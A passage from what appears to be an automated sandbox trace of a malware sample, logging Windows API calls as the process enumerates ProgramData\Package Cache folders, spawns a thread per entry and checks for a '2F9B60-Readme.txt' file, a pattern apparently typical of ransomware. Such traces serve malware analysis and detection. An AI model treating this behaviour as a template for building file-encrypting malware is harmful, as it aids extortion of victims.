NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x210df878, FileInformation=0x210df888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86fd0) returned 1 [0087.614] FlushFileBuffers (hFile=0x96c) returned 1 [0087.615] CloseHandle (hObject=0x96c) returned 1 [0087.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.616] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.616] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.616] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858790) returned 1 Thread: id = 229 os_tid = 0xcc4 [0087.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad840 [0087.604] wcscpy (in: _Dest=0x1b7ad840, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0087.604] wcscat (in: _Dest=0x1b7ad840, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0087.604] wcscat (in: _Dest=0x1b7ad840, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" [0087.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0087.604] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858730 [0087.606] wcscmp (_String1=".", _String2=".") returned 0 [0087.606] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.606] wcscmp (_String1="..", _String2=".") returned 1 [0087.606] wcscmp (_String1="..", _String2="..") returned 0 [0087.606] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.606] wcscmp (_String1="packages", _String2=".") returned 1 [0087.606] wcscmp (_String1="packages", _String2="..") returned 1 [0087.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5a70 [0087.606] wcscpy (in: _Dest=0x1b7a5a70, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0087.606] wcscat (in: _Dest=0x1b7a5a70, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0087.606] wcscat (in: _Dest=0x1b7a5a70, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0090.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0090.573] FindNextFileW (in: hFindFile=0x1b858730, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.573] FindClose (in: hFindFile=0x1b858730 | out: hFindFile=0x1b858730) returned 1 [0090.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0090.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0090.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 Thread: id = 230 os_tid = 0xcc8 [0087.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad7a0 [0087.619] wcscpy (in: _Dest=0x1b7ad7a0, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0087.619] wcscat (in: _Dest=0x1b7ad7a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0087.619] wcscat (in: _Dest=0x1b7ad7a0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" [0087.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0087.619] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858790 [0087.620] wcscmp (_String1=".", _String2=".") returned 0 [0087.620] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.620] wcscmp (_String1="..", _String2=".") returned 1 [0087.620] wcscmp (_String1="..", _String2="..") returned 0 [0087.620] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.620] wcscmp (_String1="packages", _String2=".") returned 1 [0087.620] wcscmp (_String1="packages", _String2="..") returned 1 [0087.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a59c0 [0087.620] wcscpy (in: _Dest=0x1b7a59c0, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0087.621] wcscat (in: _Dest=0x1b7a59c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0087.621] wcscat (in: _Dest=0x1b7a59c0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0090.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a59c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0090.576] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.576] FindClose (in: hFindFile=0x1b858790 | out: hFindFile=0x1b858790) returned 1 [0090.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0090.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0090.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 Thread: id = 231 os_tid = 0xccc [0087.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5b20 [0087.622] wcscpy (in: _Dest=0x1b7a5b20, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0087.622] wcscat (in: _Dest=0x1b7a5b20, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0087.622] wcscat (in: _Dest=0x1b7a5b20, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0087.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0087.622] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86fd0 [0087.622] wcscmp (_String1=".", _String2=".") returned 0 [0087.622] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.623] wcscmp (_String1="..", _String2=".") returned 1 [0087.623] wcscmp (_String1="..", _String2="..") returned 0 [0087.623] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.623] wcscmp (_String1="packages", _String2=".") returned 1 [0087.623] wcscmp (_String1="packages", _String2="..") returned 1 [0087.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106640 [0087.623] wcscpy (in: _Dest=0x106640, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0087.623] wcscat (in: _Dest=0x106640, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0087.623] wcscat (in: _Dest=0x106640, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0090.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0090.578] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.578] FindClose (in: hFindFile=0x1cd86fd0 | out: hFindFile=0x1cd86fd0) returned 1 [0090.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0090.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5b20) returned 1 [0090.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5180) returned 1 Thread: id = 232 os_tid = 0xcd0 [0087.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad8e0 [0087.629] wcscpy (in: _Dest=0x1b7ad8e0, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0087.629] wcscat (in: _Dest=0x1b7ad8e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0087.630] wcscat (in: _Dest=0x1b7ad8e0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0087.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99450 [0087.630] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f70 [0087.630] wcscmp (_String1=".", _String2=".") returned 0 [0087.630] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.633] wcscmp (_String1="..", _String2=".") returned 1 [0087.633] wcscmp (_String1="..", _String2="..") returned 0 [0087.633] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.633] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.633] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5bd0 [0087.633] wcscpy (in: _Dest=0x1b7a5bd0, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0087.633] wcscat (in: _Dest=0x1b7a5bd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0087.633] wcscat (in: _Dest=0x1b7a5bd0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0090.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0090.580] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0090.580] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0090.580] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0090.580] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0090.580] FindClose (in: hFindFile=0x1cd86f70 | out: hFindFile=0x1cd86f70) returned 1 [0090.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99450) returned 1 [0090.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0090.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784010) returned 1 Thread: id = 233 os_tid = 0xcd4 [0087.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5c80 [0087.637] wcscpy (in: _Dest=0x1b7a5c80, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0087.637] wcscat (in: _Dest=0x1b7a5c80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0087.637] wcscat (in: _Dest=0x1b7a5c80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0087.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd996c0 [0087.637] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0087.638] wcscmp (_String1=".", _String2=".") returned 0 [0087.638] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.638] wcscmp (_String1="..", _String2=".") returned 1 [0087.638] wcscmp (_String1="..", _String2="..") returned 0 [0087.638] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.638] wcscmp (_String1="packages", _String2=".") returned 1 [0087.639] wcscmp (_String1="packages", _String2="..") returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106580 [0087.639] wcscpy (in: _Dest=0x106580, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | 